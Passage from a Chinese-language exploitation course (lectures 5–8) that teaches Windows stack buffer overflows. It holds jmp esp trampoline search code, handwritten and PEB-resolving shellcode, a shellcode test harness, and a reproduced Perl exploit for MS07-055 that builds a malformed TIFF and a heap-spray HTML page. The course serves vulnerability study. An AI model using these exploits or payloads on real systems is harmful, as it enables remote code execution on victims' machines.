1:我反復強調(diào),buffer的位置在實驗中需要自己在調(diào)試中確定,不同機器環(huán)境可能不一樣。
大家都知道,程序運行中,棧的位置是動態(tài)變化的,也就是說buffer的內(nèi)存地址可能每次都不一樣,在真實的漏洞利用中,尤其是遇到多線程的程序,每次的緩沖區(qū)位置都是不同的。那么我們怎么保證在函數(shù)返回時總能夠準確的跳回buffer,找到植入的代碼呢?
比較通用的定位植入代碼(shellcode)的方法我會在后面的講座中系統(tǒng)介紹,這里先提一下,大家可以思考思考
2:我也反復強調(diào),API的地址需要自己確定,不同環(huán)境會有不同。這樣植入代碼的通用性還是會大打折扣。有沒有通用的定位windows API的方法呢?
以上兩個問題是影響windows平臺下漏洞利用穩(wěn)定性的兩個很關鍵的問題。我選擇了windows平臺來講解,是為了照顧初學者對linux的進入門檻和windows下美輪美奐的調(diào)試工具。但windows的溢出是相對linux較難的,進入簡單,深造難。不過我相信大家能啃下來的。
為了不至于在一節(jié)課中引入太多新東西,我在本節(jié)課中均采用現(xiàn)場調(diào)試確定的方法,并沒有考慮通用性問題。在這里鼓勵大家積極思考,有想法別忘了在跟貼中分享出來。
?
============================================================================
第6講 shellcode初級_定位緩沖區(qū)
精勤求學,敦篤勵志
跟貼中看到已經(jīng)有不少朋友成功的完成了前面的所有例題,今天我們在前面的基礎上,繼續(xù)深入。每一講我都會引入一些新的知識和技術,但只有一點點,因為我希望在您讀完貼之后就能立刻消化吸收,這是標準的循序漸進的案例式學習方法
另外在今天開始之前,我順便說一下后面的教學計劃:
我會再用3~4次的講座來闡述shellcode技術,確保大家能夠在比較簡單的漏洞場景下實現(xiàn)通用、穩(wěn)定的溢出利用程序(exploit)
之后我會安排一次“期中考試”,呵呵,時間初步定在元旦的三天假期內(nèi)。“期中考試”以exploit me的形式給出。不用擔心,如果你掌握了我每堂課的內(nèi)容,相信一定能獨立完成這些exploit me的。
“優(yōu)秀答卷”會有獎勵,這個我和看雪正在籌劃之中,不過提前告訴大家,至少我的書《0day安全:軟件漏洞分析與利用》和看雪的《加密與解密第3版》是少不了的,至于有沒有新的贊助和獎品,請大家留意最近論壇上的通知吧。
學習是一件枯燥的事情,包括安全技術在內(nèi)。我只能讓這枯燥和晦澀的技術盡量變得生動有趣,但這并不意味著隨隨便便就能領會其中的內(nèi)涵。精勤求學,敦篤勵志的精神永遠是需要的,不光是安全技術,學習任何東西都需要。
大家打起精神來,在學幾次,說不定在獲得exploit的樂趣的同時,還能賺點好處呢。呵呵。
好了,在開始今天課程之前,先回憶下第5講在結束時,我提出的windows平臺下的幾個關鍵問題:
1:緩沖區(qū)距離返回地址間的距離確定,或者說緩沖區(qū)大小的確定。一般我們通過調(diào)試可以直接看出緩沖區(qū)的大小。但是實際漏洞利用中,有時緩沖區(qū)的大小甚至是動態(tài) 的,這臺機器上返回地址是200個字節(jié)的偏移,下個機器就可能變成208字節(jié)了。
2:定位shellcode的位置。棧幀中的緩沖區(qū)地址經(jīng)常是不定的,尤其是在windows平臺下。要想在淹沒返回地址后準確的返回到shellcode上,像第5講那樣直接在調(diào)試中查出來寫死在password.txt文件中肯定不行
3:定位需要的API。在shellcode中一般要完綁定端口建立socket偵聽等功能,需要調(diào)用一系列windowsAPI。這些API的入口地址根據(jù)操作系統(tǒng)的版本,補丁版本會有很大差異。像第5講中那樣直接把API地址查出來是沒辦法寫出穩(wěn)定的,通用的shellcode的
4:shellcode對特定字節(jié)的敏感。在跟貼中已經(jīng)有同學發(fā)現(xiàn)這個問題了,strcpy,fscan對于一些特定的字節(jié)有特殊的處理,如串截斷符0x00等。當限制較少時,編寫shellcode還可以通過選用特殊指令來避免這些值,但有時會限制比較苛刻,這將對shellcode的開發(fā)帶來很大困難——用匯編寫程序本來就夠難了,還要考慮指令對應的機器碼的值
5:shellcode的大小也很重要。即便是高手,完成一個比較通用的用于綁定端口的shellcode也要300~400字節(jié)。當緩沖區(qū)非常狹小時,有什么辦法能夠優(yōu)化shellcode讓它變得更精悍些呢?
這些內(nèi)容就是接下來幾講我們將要關注的東西。今天我們主要來看第2個問題,怎樣做到比較通用和穩(wěn)定的確定緩沖區(qū)(shellcode)的位置。
? ? 回憶第5講中的代碼植入實驗,當我們可以用越界的字符完全控制返回地址后,需要將返回地址改寫成shellcode在內(nèi)存中的起始地址。在實際的漏洞利用過程中,由于動態(tài)鏈接庫的裝入和卸載等原因,windows進程的函數(shù)棧幀很有可能會產(chǎn)生“移位”,即shellcode在內(nèi)存中的地址是會動態(tài)變化的,因此像第5講中那樣將返回地址簡單地覆蓋成一個定值的作法往往不能讓exploit奏效。
圖1
? ? 因此,要想使exploit不致于10次中只有2次能成功地運行shellcode,我們必須想出一種方法能夠在程序運行時動態(tài)定位棧中的shellcode。
回顧第5講中實驗在verify_password函數(shù)返回后棧中的情況:
圖2
綠色的線條體現(xiàn)了代碼植入的流程:將返回地址淹沒為我們手工查出的shellcode起始地址0x0012FAF0,函數(shù)返回時這個地址被彈入EIP寄存器,處理器按照EIP寄存器中的地址取指令,最后棧中的數(shù)據(jù)被處理器當成指令得以執(zhí)行。
紅色的線條則點出了這樣一個細節(jié):在函數(shù)返回的時候,ESP恰好指向棧幀中返回地址的后一個位置!
? ? 一般情況下,ESP寄存器中的地址總是指向系統(tǒng)棧中且不會被溢出的數(shù)據(jù)破壞。函數(shù)返回時,ESP所指的位置恰好是我們所淹沒的返回地址的下一個位置。
注意:函數(shù)返回時ESP所指位置與函數(shù)調(diào)用約定、返回指令等有關。如retn 3與retn 4在返回后,ESP所指的位置都會有所差異。
圖3
? ? 由于ESP寄存器在函數(shù)返回后不被溢出數(shù)據(jù)干擾,且始終指向返回地址之后的位置,我們可以使用上圖所示的這種定位shellcode的方法來進行動態(tài)定位:
用內(nèi)存中任意一個jmp esp指令的地址覆蓋函數(shù)返回地址,而不是原來用手工查出的shellcode起始地址直接覆蓋
函數(shù)返回后被重定向去執(zhí)行內(nèi)存中的這條jmp esp指令,而不是直接開始執(zhí)行shellcode
由于esp在函數(shù)返回時仍指向棧區(qū)(函數(shù)返回地址之后),jmp esp指令被執(zhí)行后,處理器會到棧區(qū)函數(shù)返回地址之后的地方取指令執(zhí)行。
重新布置shellcode。在淹沒函數(shù)返回地址后,繼續(xù)淹沒一片??臻g。將緩沖區(qū)前邊一段地方用任意數(shù)據(jù)填充,把shellcode恰好擺放在函數(shù)返回地址之后。這樣jmp esp指令執(zhí)行過后會恰好跳進shellcode。
? ? 這種定位shellcode的方法使用進程空間里一條jmp esp指令做“跳板”,不論棧幀怎么“移位”,都能夠精確的跳回棧區(qū),從而適應程序運行中shellcode內(nèi)存地址的動態(tài)變化。
? ? 下面就請和我一起把第5講中的password.txt文件改造成上述思路的exploit,并加入安全退出的代碼避免點擊消息框后程序的崩潰。
? ? 我們必須首先獲得進程空間內(nèi)一條jmp esp指令的地址作為“跳板”。
? ? 第5講中的有漏洞的密碼驗證程序已經(jīng)加載了user32.dll,所以我們準備使用user32.dll中的jmp esp指令做為跳板。這里給出兩種方法獲得跳轉(zhuǎn)指令。第一種當然是編程了,自己動手,豐衣足食。事實上所有的問題都能夠通過自己編程來解決的。這是我的程序
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
? ? BYTE* ptr;
? ? int position,address;
? ? HINSTANCE handle;
? ? BOOL done_flag = FALSE;
? ? handle=LoadLibrary(DLL_NAME);
? ? if(!handle)
? ? {
? ?? ???printf(" load dll erro !");
? ?? ???exit(0);
? ? }
? ? ptr = (BYTE*)handle;
? ? for(position = 0; !done_flag; position++)
? ? {
? ?? ???try
? ?? ???{
? ?? ?? ?? ?if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? //0xFFE4 is the opcode of jmp esp
? ?? ?? ?? ?? ? int address = (int)ptr + position;
? ?? ?? ?? ?? ? printf("OPCODE found at 0x%x\n",address);
? ?? ?? ?? ?}
? ?? ???}
? ?? ???catch(...)
? ?? ???{
? ?? ?? ?? ?int address = (int)ptr + position;
? ?? ?? ?? ?printf("END OF 0x%x\n", address);
? ?? ?? ?? ?done_flag = true;
? ?? ???}
? ? }
}
? ? jmp esp對應的機器碼是0xFFE4,上述程序的作用就是從user32.dll在內(nèi)存中的基地址開始向后搜索0xFFE4,如果找到就返回其內(nèi)存地址(指針值)。
? ? 如果您想使用別的動態(tài)鏈接庫中的地址如“kernel32.dll”,“mfc42.dll”等;或者使用其他類型的跳轉(zhuǎn)地址如call esp,jmp ebp等的話,也可以通過對上述程序稍加修改而輕易獲得。
? ? 除此以外,還可以通過OllyDbg的插件輕易的獲得整個進程空間中的各類跳轉(zhuǎn)地址。
這里給出這個插件,點擊下載插件OllyUni.dll:?OllyUni.rar(備份:https://download.csdn.net/download/whatday/10683470)
把它放在OllyDbg目錄下的Plugins文件夾內(nèi),重新啟動OllyDbg進行調(diào)試,在代碼框內(nèi)單擊右鍵,就可以使用這個插件了,如圖:
圖4
搜索結束后,點擊OllyDbg中的“L”快捷按鈕,就可以在日志窗口中查看搜索結果了。
? ? 運行我們自己編寫程序搜索跳轉(zhuǎn)地址得到的結果和OllyDbg插件搜到的結果基本相同,如圖:
圖5
? ? 注意:跳轉(zhuǎn)指令的地址將直接關系到exploit的通用性。事實上kernel32.dll與user32.dll在不同的操作系統(tǒng)版本和補丁版本中,也是有所差異的。最佳的跳轉(zhuǎn)地址位于那些“千年不變”且被幾乎所有進程都加載的模塊中。選擇哪里的跳轉(zhuǎn)地址將直接影響到exploit的通用性和穩(wěn)定性。
? ? 這里不妨采用位于內(nèi)存0x77DC14CC處的跳轉(zhuǎn)地址jmp esp作為定位shellcode的“跳板”————我并不保證這個地址通用,請你在自己的機器上重新搜索。
? ? 在制作exploit的時候,還應當修復第5講中的shellcode無法正常退出的缺陷。有幾種思路,可以恢復堆棧和寄存器之后,返回到原來的程序流程,這里我用個簡單點的偷懶的辦法,在調(diào)用MessageBox之后通過調(diào)用exit函數(shù)讓程序干凈利落的退出。
? ? 這里仍然用dependency walker獲得這個函數(shù)的入口地址。如圖,ExitProcess是kernel32.dll的導出函數(shù),故首先查出kernel32.dll的加載基址:0x7C800000,然后加上函數(shù)的偏移地址:0x0001CDDA,得到函數(shù)入口最終的內(nèi)存地址0x7C81CDDA。
圖6
? ? 寫出的shellcode的源代碼如下:
#include <windows.h>
int main()
{? ??
? ? HINSTANCE LibHandle;
? ? char dllbuf[11] = "user32.dll";
? ? LibHandle = LoadLibrary(dllbuf);
? ? _asm{
? ?? ?? ?? ?? ? sub sp,0x440
? ?? ?? ?? ?? ? xor ebx,ebx
? ?? ?? ?? ?? ? push ebx // cut string
? ?? ?? ?? ?? ? push 0x74736577
? ?? ?? ?? ?? ? push 0x6C696166//push failwest
? ?? ?? ?? ?? ? mov eax,esp //load address of failwest
? ?? ?? ?? ?? ? push ebx? ??
? ?? ?? ?? ?? ? push eax
? ?? ?? ?? ?? ? push eax
? ?? ?? ?? ?? ? push ebx
? ?? ?? ?? ?? ? mov eax,0x77D804EA // address should be reset in different OS
? ?? ?? ?? ?? ? call eax //call MessageboxA
? ?? ?? ?? ?? ? push ebx
? ?? ?? ?? ?? ? mov eax,0x7C81CDDA
? ?? ?? ?? ?? ? call eax //call exit(0)
? ? }
}
? ? 為了提取出匯編代碼對應的機器碼,我們將上述代碼用VC6.0編譯運行通過后,再用OllyDbg加載可執(zhí)行文件,選中所需的代碼后可直接將其dump到文件中:
圖7
TIPS:不如直接在匯編碼中加一個__asm int3,OD啟動后會自動停在shellcode之前。
? ? 通過IDA Pro等其他反匯編工具也可以從PE文件中得到對應的機器碼。當然如果熟悉intel指令集的話,也可以為自己編寫專用的由匯編指令到機器指令的轉(zhuǎn)換工具。
? ? 現(xiàn)在我們已經(jīng)具備了制作新exploit需要的所有信息:
搜索到的jmp esp地址,用作重定位shellcode的“跳板”:0x77DC14CC
修改后并重新提取得到的shellcode:
機器代碼(16進制)? ? 匯編指令? ???注釋
33 DB? ???XOR EBX,EBX? ? 壓入NULL結尾的”failwest”字符串。之所以用EBX?
清零后入棧做為字符串的截斷符,是為了避免
“PUSH 0”中的NULL,否則植入的機器碼會被
strcpy函數(shù)截斷。
53? ???PUSH EBX? ??
68 77 65 73 74? ???PUSH 74736577? ??
68 66 61 69 6C? ???PUSH 6C696166? ??
8B C4? ???MOV EAX,ESP EAX里是字符串指針
53? ???PUSH EBX 四個參數(shù)按照從右向左的順序入棧,分別為:
(0,failwest,failwest,0)
消息框為默認風格,文本區(qū)和標題都是“failwest”
50? ???PUSH EAX? ??
50? ???PUSH EAX? ??
53? ???PUSH EBX? ??
B8 EA 04 D8 77? ???MOV EAX, 0x77D804EA? ? 調(diào)用MessageBoxA。注意不同的機器這
里的函數(shù)入口地址可能不同,請按實際值填入!
FF D0? ???CALL EAX? ??
53? ???PUSH EBX? ???調(diào)用exit(0)。注意不同的機器這里的函數(shù)入口地址可
能不同,請按實際值填入!
B8 DA CD 81 7C MOV EAX, 0x7C81CD? ??
FF D0? ???CALL EAX? ??
按照第5講中對棧內(nèi)情況的分析,我們將password.txt制作成如下形式:
圖8
? ? 現(xiàn)在再運行密碼驗證程序,怎么樣,程序退出的時候不會報內(nèi)存錯誤了吧。雖然還是同樣的消息框,但是這次植入代碼的流程和第5講中已有很大不同了,最核心的地方就是使用了跳轉(zhuǎn)地址定位shellcode,進程被劫持的過程正如圖3中我們設計的那樣。你得到那個熟悉的消息框了么?
不要小看著一點點改進。這個改進在windows漏洞利用的歷史上有著舉足輕重的里程碑意義。在溢出研究開始,大家都關注于linux系列的平臺,阻礙大家研究windows平臺下溢出的一個非常重要的問題就是棧幀移位引起的緩沖區(qū)位置很難確定。
我把這些技術點分開來一個一個的講,是為了方便您的理解,也是為了加深印象。當您徹底領會了這些技術點之后,在后面講到用framework的方式編寫exploit的時候,您就能更輕松的掌握了。
?
============================================================================
第7講 軟件漏洞分析入門案例01
在教程的跟貼之中看到許多朋友們遇到困難,提出問題,最終解決問題——不禁讓我回想起自己當年自己鉆研時的情景。本著對教學負責的態(tài)度,在本節(jié)我給出一個能夠自己動態(tài)定位API的shellcode。
char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
上面這段機器碼的作用仍然是彈出一個消息框顯示“failwest”。用的方法大概如下:通過FS[0]定位TEB,通過TEB找到PEB,進而找到PE的導入導出表,再定位kerner32.dll的位置,順藤摸瓜定位到LoadLibraryA,之后就是康莊大道了 ……
關于這段shellcode的細節(jié)分析么,呵呵,參看《0day安全》吧。我要說的是我在開發(fā)并調(diào)試這段shellcode的時候,總共用了5天時間(我的匯編基礎比較差),之后在各種漏洞場景下實驗并改進,最終得出的這段168字節(jié)的代碼是比較通用和穩(wěn)定的,我經(jīng)常用它作為驗證漏洞是否可以被exploit的POC (proof of concept)代碼。
由于shellcode往往是在很“惡劣”的環(huán)境下被加載的,要想調(diào)試這些機器碼得動動腦筋才行。我這里給出一個測試和調(diào)試shellcode的樣例代碼:
char shellcode[]="\x66\x81\xEC\x40\x04\x33\xDB……"; // 欲調(diào)試的16進制機器碼"
void main()
{
unsigned char MachineCode[256]="";
strncpy(MachineCode, shellcode,256);
__asm
{
lea eax, MachineCode
push eax
ret
}
}
上述代碼可以簡單的模擬漏洞場景并加載運行shellcode。
好了,雖然現(xiàn)在大家對shellcode的具體開發(fā)方法還并不是非常清楚,但是我已經(jīng)給出了一個比較通用的現(xiàn)成貨,而且教給你了調(diào)試方法,你完全可以從網(wǎng)上搜點各種功能的shellcode來試試。(實際上我將使用MetaSploit生成各種常見功能的shellcode,甚至對shellcode加個簡單的“殼”,自然這部分內(nèi)容得參見《0day》了)
所以,從技術角度,您已經(jīng)具備了獨立完成溢出利用的最基本技能。
?
============================================================================
第8講 案例_Microsoft TIFF圖像文件處理棧溢出漏洞(MS07-055)
Microsoft?TIFF圖像文件處理棧溢出漏洞(MS07-055)
張東輝[shineast][http://hi.baidu.com/shineastdh]
漏洞背景
??TIFF(TagImageFileformat)是Mac中廣泛使用的圖像格式,它由Aldus和微軟聯(lián)合開發(fā),最初是出于跨平臺存儲掃描圖像的需要而設計的。它的特點是圖像格式復雜、存貯信息多。正因為它存儲的圖像細微層次的信息非常多,圖像的質(zhì)量也得以提高,故而非常有利于原稿的復制。該格式有壓縮和非壓縮二種形式,其中壓縮可采用LZW無損壓縮方案存儲。不過,由于TIFF格式結構較為復雜,兼容性較差,因此有時你的軟件可能不能正確識別TIFF文件(現(xiàn)在絕大部分軟件都已解決了這個問題)。目前在Mac和PC機上移植TIFF文件也十分便捷,因而TIFF現(xiàn)在也是微機上使用最廣泛的圖像文件格式之一。
2007年10月9日,微軟的網(wǎng)站上公示了“Microsoft?安全公告?MS07-055?-?嚴重?Kodak?圖像查看器中的漏洞可能允許遠程執(zhí)行代碼?(923810)”這個安全公告,并提供了該漏洞的補丁程序。此漏洞僅存在于運行?Windows?2000?的系統(tǒng)上。但是,如果是從?Windows?2000?升級的,運行受支持版本的?Windows?XP?和?Windows?Server?2003?也可能受影響。10月29日和11月11日,milw0rm上公布了利用這個漏洞的兩個程序,一個是利用explorer溢出的;另一個是利用IE溢出的,可以做網(wǎng)絡木馬。同時綠盟的網(wǎng)站上也發(fā)布了緊急通告——“綠盟科技緊急通告(Alert2007-10)”。攻擊者可以通過構建特制圖像來利用此漏洞,如果用戶訪問網(wǎng)站、查看特制電子郵件或者打開電子郵件附件,該漏洞可能允許遠程執(zhí)行指令。成功利用此漏洞的攻擊者可以完全控制受影響的系統(tǒng)。應該說這個漏洞的危害性還是很大的,屬于“嚴重”、“緊急”級別的漏洞。
另外,同一時間,除了MS07-055,微軟還公布了MS07-056到MS07-060。這些安全公告分別描述了8個安全問題,分別是有關各版本的Microsoft?Windows、IE、Outlook?Express和Windows?Mail和SharePoint等產(chǎn)品和服務中的漏洞。
漏洞重現(xiàn)與漏洞分析
??要分析這個漏洞,一定要能夠重現(xiàn)這個漏洞,然后通過跟蹤和調(diào)試來分析它。如果你的WindowsXP系統(tǒng)不是從Windows2000升級過來的,最好先安裝一個虛擬機,虛擬一個Win2K操作系統(tǒng),然后在這個系統(tǒng)下做漏洞重現(xiàn)。我在VMware中安裝的是Win2K?SP3,當然SP4也可以,只要是2K系統(tǒng)都可以,因為這個漏洞是新出的。如果你的2K系統(tǒng)已經(jīng)對這個漏洞(MS07-055)打了漏洞補丁(KB923810),你可以先把漏洞補丁在“添加刪除程序”中卸載掉,做完實驗后可以在安裝上。另外還要安裝一下ActivePerl,用來運行perl程序代碼。把這些準備工作做好后,我們就可以開始漏洞重現(xiàn)了。
??Milw0rm上關于這個漏洞公布了2個exploit,我分析了一下,這兩個exploit利用的漏洞是同一個,就是我們現(xiàn)在要分析的tiff文件格式處理漏洞,但是它們的利用方式不同,一個是直接在explorer下就溢出,也就是說當你用explorer打開了畸形tiff文件所在的目錄時,漏洞就已經(jīng)使explorer溢出了;另一個是可以用來做網(wǎng)絡木馬,也就是說,當你打開了遠程web服務器上的某個網(wǎng)頁時,而網(wǎng)頁恰好打開了那個畸形tiff文件,那個就會在你本地發(fā)生IE棧溢出,從而執(zhí)行任意代碼,即shellocde。
??那么我這里僅通過最新的網(wǎng)頁木馬方式的exploit來分析這個漏洞,最終讓大家看到這個漏洞發(fā)生的根本原因。下面我們首先來看看這個exploit是如何寫成的:
#!/usr/bin/perl
#?Microsoft?Internet?Explorer?TIF/TIFF?Code?Execution?(MS07-055)
#?This?exploit?tested?on:
#??-?Windows?2000?SP4?+?IE5.01
#??-?Windows?2000?SP4?+?IE5.5
#??-?Windows?2000?SP4?+?IE6.0?SP1
#?invokes?calc.exe?if?successful?
use?strict;
#?run?calc.exe
my?$shellcode?=
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b".
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99".
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04".
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb".
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30".
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09".
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8".
"\x83\xc0\x7b\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a\x0e\x57\xff".
"\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
my?$tiff1?=
"\x49\x49\x2A\x00\x90\x3E\x00\x00\x80\x3F\xE0\x50".
"\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36".
"\x1D\x0F\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C".
"\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52".
"\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6".
。。。(略)。。。
"\x56\xAD\x57\x86\x40\x40\x60\x00\x00\x00\x01\x00".
"\x00\x00\x60\x00\x00\x00\x01\x00\x00\x00\x08\x00".
"\x08\x00\x08\x00\xAE\x00\x00\x00\xAE\x00\x00\x00".
"\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00".
"\xAE\x00\x00\x00\xB4\x00\x00\x00\xBA\x00\x00\x00".
"\xBA\x00\x03\x00\xCA\x00\x00\x00\xDB\x00\x00\x00".
"\xD7\x00\x00\x00\xD6\x00";
my?$eip?=?"\x0c\x0c\x0c\x0c";
my?$data_0400?=?"\x08\x00\x40\x00";
my?$data_null?=?"\x11\x00\x40\x00";
my?$tiff2?=
"\x00\x00\xB9\x90\x90\x90\x90\x90\xFC\xE8".
"\x44\x00\x00\x00\x8B\x45\x3C\x8B\x7C\x05\x78\x01".
"\xEF\x8B\x4F\x18\x8B\x5F\x20\x01\xEB\x49\x8B\x34".
"\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0\x74\x07\xC1".
"\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x04\x75\xE5".
。。。(略)。。。
"\xB6\x3A\x00\x00\x64\x3B\x00\x00\x0F\x00\xFE\x00".
"\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01".
"\x03\x00\x01\x00\x00\x00\x80\x02\x00\x00\x01\x01".
"\x03\x00\x01\x00\x00\x00\x00\x02\x00\x00\x02\x01".
"\x03\x00\xFF\x00\x00\x00\xDA\x3B\x00\x00\x03\x01".
"\x03\x00\x01\x00\x00\x00\x05\x00\x00\x00\x06\x01".
"\x03\x00\x01\x00\x00\x00\x02\x00\x00\x00\x11\x01".
"\x04\x00\x56\x00\x00\x00\x38\x3D\x00\x00\x15\x01".
"\x03\x00\x01\x00\x00\x00\x03\x00\x00\x00\x16\x01".
"\x04\x00\x01\x00\x00\x00\x06\x00\x00\x00\x17\x01".
"\x04\x00\x56\x00\x00\x00\xE0\x3B\x00\x00\x1A\x01".
"\x05\x00\x01\x00\x00\x00\xCA\x3B\x00\x00\x1B\x01".
"\x05\x00\x01\x00\x00\x00\xD2\x3B\x00\x00\x1C\x01".
"\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x28\x01".
"\x03\x00\x01\x00\x00\x00\x02\x00\x00\x00\x3D\x01".
"\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00".
"\x00\x00";
#?convert?shellcode?for?javascript
if?((length($shellcode)?/?2)?=~?/\./)?{
??$shellcode?.=?"\x00";
}
$shellcode?=~?s/(.)(.)/'%u'.unpack("H*",?$2).unpack("H*",?$1)/ge;
#?write?tiff?file
open(FILE,?">ms07-055.tif");
binmode(FILE);
print?FILE?$tiff1;
print?FILE?$eip;
print?FILE?$data_0400;
print?FILE?$data_0400;
print?FILE?$data_0400;
print?FILE?$data_null;
print?FILE?$tiff2;
close(FILE);
#?write?html?file
open(FILE,?">ms07-055.html");
print?FILE?<<HTML;
<html><head>
<title>Microsoft?Internet?Explorer?TIF/TIFF?Code?Execution?(MS07-055)</title>
<script?language="JavaScript">
<!--?var?memory?=?new?Array();
function?getSpraySlide(spraySlide,?spraySlideSize){
??while?(spraySlide.length*2<spraySlideSize){
????spraySlide?+=?spraySlide;
??}
??spraySlide?=?spraySlide.substring(0,spraySlideSize/2);
??return?spraySlide;
}
function?makeSlide(){
??var?heapSprayToAddress?=?0x0c0c0c0c;
??var?payLoadCode?=?unescape("$shellcode");
??var?heapBlockSize?=?0x400000;
??var?payLoadSize?=?payLoadCode.length?*?2;
??var?spraySlideSize?=?heapBlockSize?-?(payLoadSize+0x38);
??var?spraySlide?=?unescape("%u0c0c%u0c0c");
??spraySlide?=?getSpraySlide(spraySlide,spraySlideSize);
??heapBlocks?=?(heapSprayToAddress?-?0x400000)/heapBlockSize;
??for?(i=0;i<heapBlocks;i++)?{
????memory[i]?=?spraySlide?+?payLoadCode;
??}
??return?0;
}
makeSlide();//-->
</script>
</head>
<body><img?src="ms07-055.tif"></body></html>
HTML
close(FILE);???看了這段perl程序,大概知道是怎么回事了,其實就是用這段perl程序?qū)懥藘蓚€文件,一個是特制的、畸形的tiff文件,命名為“ms07-055.tif”;另一個是HTML文件,自然就是網(wǎng)馬了。其中HTML文件很明白,這個網(wǎng)頁用來打開前面那個tiff文件,打開之前還在0c0c0c0c內(nèi)存地址附近請求了連續(xù)的若干內(nèi)存塊,每個內(nèi)存塊中存放的是一片片0c0c0c0c指令,最后跟著的是shellcode。0c0c0c0c指令沒有什么特殊目的,就像nop指令一樣。如此以來一旦程序被溢出跳到0c0c0c0c地址即可,就可以執(zhí)行我們預期的shellcode了。——這個邏輯應該很清楚了,說的專業(yè)一點就是Heap?Spray技術。
??理解了如何利用,現(xiàn)在我們的關鍵就是需要掌握一些tiff圖像文件格式規(guī)范,不需要很專業(yè)的掌握,只要對這種文件格式的基礎知識有所了解就足夠我們分析漏洞了。下面我來描述一下文件的基本規(guī)范,考慮到看英文比較難受的朋友,我特意翻譯了一把,希望對大家有所幫助。需要英文原文的朋友也可以從本文的光盤相關中得到。
??一個完整的tiff文件首先有8字節(jié)的頭部(header),頭部中含有一個指針指向一個圖像文件目錄,簡稱IFD(image?file?directory),每個IFD包含了重要的圖像信息,這些信息是一條一條的存儲在IFD中的,稱為目錄條目,簡稱DE(directory?entry)。具體的說,可以用下面這個圖示來說明他們之間的邏輯關系。
???首部Header
字節(jié)0-1:字節(jié)序?
?????“II”(4949.H)——小印第安,低字節(jié)存儲在內(nèi)存的低地址
?????“MM”(4D4D.H)——大印第安,低字節(jié)存儲在內(nèi)存的高地址
字節(jié)2-3:TIFF文件標識
最好選用42(十進制),同時要看前面的字節(jié)序,如果是小印第安,這里就寫2A00.H;否則寫002A.H
字節(jié)4-7:第一個圖像文件目錄(IFD)在文件中的偏移量(offset)
???圖像文件目錄(IFD)
每一個圖像文件目錄(IFD)中首先有兩個字節(jié)表示目錄條目(DE)的個數(shù),接著的連續(xù)的每12個字節(jié)是一個目錄條目,每個IFD最后4個字節(jié)表示的是下一個IFD的偏移量,如果沒有后繼IFD的話用一個4字節(jié)數(shù)字0來結尾。
???目錄條目(DE)
每一個12字節(jié)的DE擁有同樣的結構:
字節(jié)0-1:本域的標記(Tag)
字節(jié)2-3:本域類型(Type)
字節(jié)4-7:值的個數(shù)
字節(jié)8-11:具體的值,或者是一串多個值存儲于文件的偏移量
其中類型有多種,最常見的有一下幾種:
1=BYTE????8位無符號整數(shù)
2=ASCII???8位,其中前7位表示一個ASCII碼;最后一位必須是NUL(二進制的0)
3=SHORT???16位無符號整數(shù)
4=LONG???32位無符號整數(shù)
5=RATIONAL??兩個LONG,第一個表示分子;第二個表示分母
??有了以上的基本文件格式規(guī)范知識后,我們就可以開始研究上面perl代碼生成的ms07-055.tif文件了。首先我們來看看文件頭部的8個字節(jié),如下:
00000000h:?49?49?2A?00?90?3E?00?00?80?3F?E0?50?38?24?16?0D?;?II*.?..€?郟8$..
??根據(jù)上面的知識很容易知道其中的含義,49?49表示小印第安字節(jié)序;2A?00是TIFF文件文件標識;90?3E?00?00表示該文件的第一個IFD在文件的00003E90偏移量處。
??那么我們下一步很自然的去00003E90偏移量處去解析第一個IFD,可見該文件中只有這樣一個IFD。
00003e90h:?0F?00??FE?00?04?00?01?00?00?00?00?00?00?00??00?01?;?..?............
